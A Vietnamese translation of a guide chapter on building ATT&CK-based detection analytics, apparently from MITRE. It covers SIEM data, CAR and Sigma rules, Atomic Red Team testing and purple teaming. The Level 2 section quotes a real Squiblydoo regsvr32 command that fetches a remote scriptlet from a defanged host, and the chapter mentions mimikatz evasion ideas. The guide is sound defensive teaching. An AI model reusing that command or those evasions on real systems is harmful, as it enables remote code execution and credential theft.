Bạn đã đọc Chương 1 về việc bắt đầu sử dụng ATT&CK cho tình báo về mối đe dọa, trong đó hướng dẫn cách hiểu những gì kẻ tấn công đang làm để tấn công bạn và cách sử dụng kiến thức đó để ưu tiên những gì cần phòng thủ. Trong chương này, tôi sẽ nói về cách xây dựng phát hiện cho những hành vi đó.

Cũng như chương đầu tiên trong cuốn sách này, chương này sẽ được chia thành các cấp độ dựa trên mức độ phức tạp của đội bạn và những tài nguyên bạn có thể tiếp cận:

Cấp độ 1 dành cho những người mới bắt đầu có thể không có nhiều tài nguyên Cấp độ 2 dành cho những đội cấp trung bắt đầu trưởng thành Cấp độ 3 dành cho những đội an ninh mạng tiên tiến hơn và có nhiều tài nguyên

Xây dựng phân tích để phát hiện các kỹ thuật ATT&CK có thể khác với cách bạn vẫn thường làm phát hiện. Thay vì xác định những thứ được biết là xấu và chặn chúng, phân tích dựa trên ATT&CK liên quan đến việc thu thập dữ liệu nhật ký và sự kiện về những thứ đang xảy ra trên hệ thống của bạn và sử dụng nó để xác định các hành vi đáng ngờ được mô tả trong ATT&CK.

CẤP ĐỘ 1

Bước đầu tiên để tạo và sử dụng phân tích ATT&CK là hiểu những dữ liệu và khả năng tìm kiếm bạn có. Để tìm các hành vi đáng ngờ, sau tất cả, bạn cần có khả năng xem những gì đang xảy ra trên hệ thống của bạn. Một cách để làm điều này là xem xét Nguồn dữ liệu được liệt kê cho mỗi kỹ thuật ATT&CK.

Những nguồn dữ liệu đó mô tả các loại dữ liệu có thể cung cấp cho bạn khả năng hiển thị kỹ thuật đã cho. Nói cách khác, chúng cung cấp cho bạn một điểm khởi đầu tốt về những gì cần thu thập.

NGUỒN DỮ LIỆU CHO MỘT KỸ THUẬT ATT&CK

Nếu bạn xem qua các nguồn dữ liệu cho nhiều kỹ thuật khác nhau, hoặc làm theo cách tiếp cận mà Roberto Rodriguez và Jose Luis Rodriguez đã trình bày tại ATT&CKcon để xem qua các kỹ thuật về nguồn dữ liệu (MITRE cũng đã tạo một số script hỗ trợ), bạn sẽ nhận thấy rằng một số nguồn có giá trị trong việc phát hiện một số lượng lớn kỹ thuật:

Giám sát quá trình và dòng lệnh quá trình, thường được thu thập bởi Sysmon, Windows Event Logs và nhiều nền tảng EDR Giám sát tệp và registry, cũng thường được thu thập bởi Sysmon, Windows Event Logs, và nhiều nền tảng EDR Nhật ký xác thực, chẳng hạn như những nhật ký được thu thập từ bộ điều khiển miền qua Windows Event Logs Bắt gói tin, đặc biệt là bắt gói tin đông/tây như những gói tin được thu thập giữa các máy chủ và enclaves trong mạng của bạn bởi các cảm biến như Zeek

Khi bạn biết những dữ liệu bạn có, bạn sẽ cần thu thập dữ liệu đó vào một loại nền tảng tìm kiếm nào đó (Quản lý Thông tin và Sự kiện Bảo mật hoặc SIEM) để bạn có thể chạy phân tích chống lại nó. Bạn có thể đã có điều này như một phần của hoạt động IT hoặc bảo mật của bạn, hoặc nó có thể là một thứ mới mà bạn cần xây dựng. Đối với những ảnh chụp màn hình này và phần hướng dẫn, tôi sẽ sử dụng ELK (ElasticSearch/Logstash/Kibana) với dữ liệu Sysmon, nhưng có một số sản phẩm thương mại và mã nguồn mở, và chúng tôi không khuyến nghị bất kỳ nền tảng cụ thể nào. Đừng đánh giá thấp những bước này trong quá trình; điều chỉnh việc thu thập dữ liệu của bạn thường là phần khó khăn nhất!

Nội dung cấp độ 0 bổ sung: Cần truy cập vào một bộ dữ liệu doanh nghiệp tốt để kiểm tra? Hãy xem bộ dữ liệu Boss of the SOC (BOTS) từ Splunk hoặc bộ dữ liệu BRAWL từ MITRE . Cả hai đều có sẵn dưới dạng JSON và do đó có thể được tải vào Splunk, ELK và các SIEM khác. BOTS rất rộng và chứa nhiễu thực, trong khi BRAWL hạn chế hơn nhiều và chỉ tập trung vào hoạt động của đội đỏ.

Một khi bạn đã có dữ liệu trong SIEM của mình, bạn đã sẵn sàng để thử một số phân tích. Một điểm khởi đầu tuyệt vời là xem xét các phân tích được tạo bởi những người khác và chạy chúng chống lại dữ liệu của bạn. Có một số kho lưu trữ phân tích được liệt kê trong các tài nguyên bên dưới, nhưng một phân tích khởi đầu tốt nếu bạn có dữ liệu quá trình endpoint là CAR-2016–03–002. Điều đó sẽ cố gắng tìm việc sử dụng WMI để thực thi lệnh trên các hệ thống từ xa, một kỹ thuật phổ biến của kẻ tấn công được mô tả bởi Windows Management Instrumentation.

MỤC CAR CHO TẠO QUÁ TRÌNH TỪ XA QUA WMIC

Bạn sẽ muốn đọc và hiểu mô tả để biết nó đang tìm kiếm cái gì, nhưng phần quan trọng để chạy nó là mã giả ở cuối. Dịch mã giả đó thành một tìm kiếm cho bất kỳ SIEM nào bạn đang sử dụng (đảm bảo rằng tên trường trong dữ liệu của bạn là chính xác), và bạn có thể chạy nó để nhận kết quả. Nếu bạn không thoải mái dịch mã giả, bạn cũng có thể sử dụng một công cụ mã nguồn mở gọi là Sigma và kho lưu trữ các quy tắc của nó để dịch sang mục tiêu của bạn. Trong trường hợp này, CAR-2016–03–002 đã được bao gồm trong một quy tắc Sigma rồi.

Nếu bạn đã cài đặt Sigma và bạn đang ở trong thư mục của nó, bạn có thể chạy lệnh này để nhận (ví dụ) truy vấn ELK/WinLogBeats:

sigmac –target es-qs -c tools/config/winlogbeat.yml rules/windows/process_ creation/win_susp_wmi_execution.yml

KẾT QUẢ TỪ VIỆC CHẠY PHÂN TÍCH WMI CHỐNG LẠI DỮ LIỆU BRAWL

Công việc của bạn bây giờ là xem xét từng kết quả và tìm ra xem nó có độc hại hay không. Nếu bạn sử dụng bộ dữ liệu BRAWL, tất cả đều khá độc hại: nó cố gắng chạy and.exe, và khi khám phá thêm các sự kiện liên quan, and.exe vừa mới được chuyển đến máy chủ đó qua SMB và được thêm vào các khóa registry tự động chạy để duy trì. Nếu bạn đang xem dữ liệu doanh nghiệp của riêng bạn, hy vọng là lành tính hoặc dữ liệu đội đỏ đã biết—nếu không, có lẽ hãy dừng đọc chương này và tìm hiểu xem bạn đang đối phó với cái gì.

Khi bạn có tìm kiếm cơ bản trả về dữ liệu và cảm thấy thoải mái rằng bạn có thể hiểu được kết quả, hãy cố gắng lọc ra các cảnh báo sai trong môi trường của bạn để bạn không áp đảo chính mình. Mục tiêu của bạn không nên là đạt đến số cảnh báo sai bằng không; nó nên là giảm chúng càng nhiều càng tốt trong khi vẫn đảm bảo rằng bạn sẽ bắt được hành vi độc hại. Một khi phân tích có tỷ lệ cảnh báo sai thấp, bạn có thể tự động tạo một vé trong SOC của bạn mỗi khi phân tích kích hoạt hoặc thêm nó vào thư viện phân tích để sử dụng cho săn tìm mối đe dọa thủ công.

CẤP ĐỘ 2

Khi bạn đã có các phân tích mà người khác viết trong hoạt động, bạn có thể bắt đầu mở rộng phạm vi bao phủ bằng cách tự viết các phân tích của riêng bạn. Đây là một quá trình phức tạp hơn đòi hỏi phải hiểu cách các cuộc tấn công hoạt động và cách chúng được phản ánh trong dữ liệu. Để bắt đầu, hãy xem mô tả kỹ thuật từ ATT&CK và các báo cáo tình báo về mối đe dọa được liên kết trong các ví dụ.

Ví dụ, hãy giả sử không có phát hiện nào tốt cho Regsvr32. Trang ATT&CK liệt kê một số biến thể khác nhau về cách Regsvr32 được sử dụng. Thay vì viết một phân tích để bao quát tất cả chúng, hãy tập trung vào chỉ một khía cạnh để tránh mất công sức. Ví dụ, bạn có thể muốn phát hiện biến thể “Squiblydoo” được phát hiện bởi Casey Smith tại Red Canary. Các báo cáo được liên kết từ các ví dụ cho thấy một số trường hợp của dòng lệnh mà Regsvr32 được sử dụng, chẳng hạn như ví dụ này từ phân tích của Cybereason về Cobalt Kitty:

Kẻ tấn công đã tải xuống COM scriplets bằng regsvr32.exe: regsvr32 /s/n/u/i:hxxp://support.chatconnecting(.)com:80/pic.png scrobj.dll

BẰNG CHỨNG VỀ SQUIBLYDOO ĐƯỢC SỬ DỤNG BỞI COBALT KITTY

Khi bạn đã hiểu cách kẻ tấn công sử dụng kỹ thuật này, bạn nên tìm cách tự chạy nó để bạn có thể thấy nó trong nhật ký của riêng bạn. Một cách dễ dàng để làm điều đó là sử dụng Atomic Red Team, một dự án mã nguồn mở do Red Canary dẫn đầu cung cấp nội dung đội đỏ phù hợp với ATT&CK có thể được sử dụng để kiểm tra phân tích. Ví dụ, bạn có thể tìm danh sách các cuộc tấn công của họ cho Regsvr32, bao gồm Squiblydoo. Tất nhiên, nếu bạn đã làm kiểm tra thâm nhập, hãy tự do chạy các cuộc tấn công mà bạn biết (trên các hệ thống mà bạn có quyền!) và cố gắng phát triển phân tích cho những cuộc tấn công đó!

Nội dung cấp độ 0 bổ sung: Thực sự muốn tạo phân tích của riêng bạn và chạy các cuộc tấn công của riêng bạn nhưng không có mạng riêng? Hãy thiết lập một VM và giám sát nó như trên, sau đó chạy các cuộc tấn công trên đó. Detection Lab cung cấp một bộ script cấu hình tốt để làm điều đó.

ĐẦU RA TỪ VIỆC CHẠY CUỘC TẤN CÔNG SQUIBLYDOO ĐỂ KHỞI CHẠY CALC.EXE

Khi bạn đã chạy cuộc tấn công, hãy xem bên trong SIEM của bạn để thấy dữ liệu nhật ký nào đã được tạo ra. Ở giai đoạn này, bạn đang tìm kiếm những thứ làm cho sự kiện độc hại này trông khác biệt. Tôi đã chọn Squiblydoo làm ví dụ vì nó là một ví dụ dễ dàng: không có lý do chính đáng nào để regsvr32.exe gọi ra Internet, vì vậy một phân tích đơn giản là tìm kiếm thời điểm quá trình regsvr32.exe được tạo và dòng lệnh bao gồm “/i:http”.

Một mô hình chung cần tuân theo là viết tìm kiếm để phát hiện hành vi độc hại, sửa đổi nó để lọc ra các cảnh báo sai, đảm bảo nó vẫn phát hiện được hành vi độc hại, và sau đó lặp lại để giảm các loại cảnh báo sai khác.

QUY TRÌNH PHÁT TRIỂN PHÂN TÍCH

CẤP ĐỘ 3

Cảm thấy tự tin rằng bạn đang tạo ra các phân tích chất lượng để phát hiện các cuộc tấn công từ Atomic Red Team? Hãy kiểm tra sự tự tin đó và cải thiện khả năng phòng thủ của bạn bằng cách thực hiện một số đội tím!

Trong thế giới thực, kẻ tấn công không chỉ thực hiện các cuộc tấn công sao chép/dán từ một cuốn sách nào đó. Họ thích nghi và cố gắng né tránh khả năng phòng thủ của bạn – bao gồm cả các phân tích của bạn (đó là lý do tại sao có một chiến thuật né tránh phòng thủ trong ATT&CK). Cách tốt nhất để đảm bảo rằng các phân tích của bạn mạnh mẽ chống lại sự né tránh là làm việc trực tiếp với một đội đỏ. Bạn và đội xanh của bạn sẽ chịu trách nhiệm tạo ra các phân tích và đội đỏ sẽ chịu trách nhiệm mô phỏng kẻ tấn công – về cơ bản, cố gắng né tránh các phân tích của bạn bằng cách thực hiện các loại tấn công và né tránh mà chúng ta biết từ tình báo về mối đe dọa rằng kẻ tấn công sử dụng trong thế giới thực. Nói cách khác, họ sẽ hành động như kẻ tấn công thực sự để bạn có thể hiểu cách các phân tích của bạn sẽ hoạt động chống lại kẻ tấn công thực sự.

Đây là cách nó có thể hoạt động trong thực tế. Bạn có một số phân tích, ví dụ để phát hiện việc đánh cắp thông tin đăng nhập. Có thể bạn đã nghe nói về mimikatz và viết một phân tích để phát hiện mimikatz.exe trên dòng lệnh hoặc Invoke-Mimikatz qua Powershell. Để thực hiện đội tím cho điều này, hãy đưa phân tích đó cho đội đỏ của bạn. Sau đó họ có thể tìm và thực hiện một cuộc tấn công sẽ né tránh phân tích đó.

Trong trường hợp này, họ có thể đổi tên tệp thực thi thành mimidogz.exe. Tại thời điểm đó, bạn sẽ cần cập nhật phân tích của mình để tìm kiếm các dấu hiệu và hành vi khác nhau mà sẽ không phụ thuộc vào tên chính xác. Có lẽ bạn tìm kiếm bitmask GrantedAccess cụ thể từ khi mimikatz truy cập lsass.exe (đừng lo lắng về chi tiết chính xác, đây chỉ là một ví dụ). Bạn sẽ lại đưa điều này cho đội đỏ của bạn, và họ sẽ thực hiện một cách né tránh mà, ví dụ, thêm một quyền truy cập bổ sung để bitmask GrantedAccess của bạn không còn phát hiện được nó.

Sự trao đổi qua lại này được gọi là đội tím. Đó là một cách tuyệt vời để nhanh chóng cải thiện chất lượng của các phân tích của bạn vì nó đo lường khả năng phát hiện các cuộc tấn công mà kẻ tấn công thực sự sử dụng. Khi bạn đạt đến giai đoạn mà bạn đang thực hiện đội tím cho tất cả các phân tích của mình, bạn thậm chí có thể tự động hóa quá trình để đảm bảo bạn không có bất kỳ sự thoái lui nào và đang bắt được các biến thể mới của các cuộc tấn công. Chúng tôi đang làm việc để phát triển tài liệu giống như vậy, nói nhiều hơn về mô phỏng kẻ tấn công và kiểm tra thâm nhập

  • vì vậy hãy theo dõi để tìm hiểu nhiều hơn về nửa còn lại của quá trình đó.

Điều này cũng liên quan đến những gì Andy Applebaum sẽ nói trong Chương 4 về Đánh giá SOC ATT&CK. Khi bạn đã nâng cao đến mức này và đang xây dựng một bộ phân tích, bạn sẽ muốn sử dụng ATT&CK (thông qua ATT&CK Navigator hoặc sử dụng các công cụ riêng của bạn) để theo dõi những gì bạn có thể và không thể bao quát. Có thể, ví dụ, bạn bắt đầu với một danh sách mong muốn các phân tích để phát hiện các kỹ thuật mà Katie Nickels và Brian Beyer chỉ ra trong bài thuyết trình tại Hội nghị thượng đỉnh SANS CTI

BẢN ĐỒ NHIỆT VỚI CÁC KỸ THUẬT ĐƯỢC NHẮM MỤC TIÊU

Sau đó, bạn tích hợp các phân tích từ CAR và tô màu cam cho những kỹ thuật đó để chỉ ra rằng ít nhất bạn có một số phạm vi bao phủ (như đã chỉ ra ở trên, một phân tích duy nhất không thể cung cấp phạm vi bao phủ đầy đủ cho bất kỳ kỹ thuật nào).

BẢN ĐỒ NHIỆT VỚI CÁC PHÂN TÍCH CAR

Sau đó, bạn tinh chỉnh những phân tích đó và có thể thêm nhiều hơn để cải thiện phạm vi bao phủ của mình cho những kỹ thuật đó. Cuối cùng, có lẽ bạn cảm thấy đủ thoải mái với khả năng phát hiện của mình đối với một số trong số chúng để tô màu xanh lá cây. Chỉ cần nhớ rằng bạn sẽ không bao giờ chắc chắn 100% về việc bắt được mọi cách sử dụng một kỹ thuật nhất định, vì vậy màu xanh lá cây không có nghĩa là đã hoàn thành, nó chỉ có nghĩa là OK hiện tại.

BẢN ĐỒ NHIỆT VỚI CÁC PHÂN TÍCH CAR VÀ PHÂN TÍCH TỰ PHÁT TRIỂN

Và tất nhiên, theo thời gian, bạn sẽ muốn mở rộng phạm vi những thứ mà bạn quan tâm. Bạn có thể tham khảo lại Chương 1 về việc ưu tiên theo tác nhân đe dọa, sử dụng một số tài nguyên được nhà cung cấp công bố để ưu tiên dựa trên mức độ phổ biến của kỹ thuật dựa trên giám sát của họ, hoặc có lẽ tốt nhất là phát triển phân tích cho hoạt động mà bạn biết từ các sự cố của riêng mình. Cuối cùng, bạn muốn phát triển một tập hợp phát hiện ngày càng toàn diện hơn để bạn có thể phát hiện nhiều hơn những thứ mà kẻ tấn công làm để tấn công chúng ta – và ATT&CK cung cấp cho bạn bảng điểm để làm điều đó.

TÓM TẮT

Chương này đã cung cấp cho bạn một ý tưởng về ý nghĩa của việc xây dựng phân tích để phát hiện các kỹ thuật ATT&CK, cũng như cách suy nghĩ về việc xây dựng một bộ phân tích. Nó xây dựng trên chương trước để cho thấy không chỉ bạn có thể hiểu những gì kẻ tấn công có thể làm thông qua tình báo về mối đe dọa mạng, mà bạn còn có thể sử dụng thông tin tình báo đó để xây dựng phân tích để phát hiện những kỹ thuật đó. Các chương sau sẽ nói nhiều hơn về cách xây dựng một quy trình kỹ thuật và đánh giá cho khả năng phòng thủ của bạn, bao gồm cả phân tích, và cách thực hiện kiểm tra thâm nhập toàn diện để xác thực khả năng phòng thủ của bạn.

TÀI NGUYÊN

CAR: Kho lưu trữ phân tích của MITRE

EQL: Kho lưu trữ phân tích mã nguồn mở của Endgame

Sigma: Một định dạng phân tích độc lập với công cụ, cùng với kho lưu trữ phân tích trong định dạng đó từ Florian Roth và Thomas Patzke

ThreatHunter Playbook: Một kho lưu trữ các chiến lược để tìm kiếm các kỹ thuật ATT&CK trong dữ liệu nhật ký (tức là không phải phân tích, nhưng rất nhiều thông tin để giúp bạn xây dựng phân tích) từ Roberto Rodriguez

Atomic Red Team: Thư viện các bài kiểm tra đội đỏ của Red Canary cho các phân tích của bạn

Detection Lab: Một bộ script để thiết lập một phòng thí nghiệm đơn giản để kiểm tra phân tích bởi Chris Long BOTS: Bộ dữ liệu Boss of the SOC của Splunk, với cả nhiễu nền và các cuộc tấn công của đội đỏ BRAWL: Bộ dữ liệu đội đỏ công khai của MITRE

ATT&CK Navigator: Một công cụ để trực quan hóa dữ liệu trên ma trận ATT&CK, bao gồm cả phạm vi bao phủ phân tích.

Bình luận về bài viết này

Thịnh hành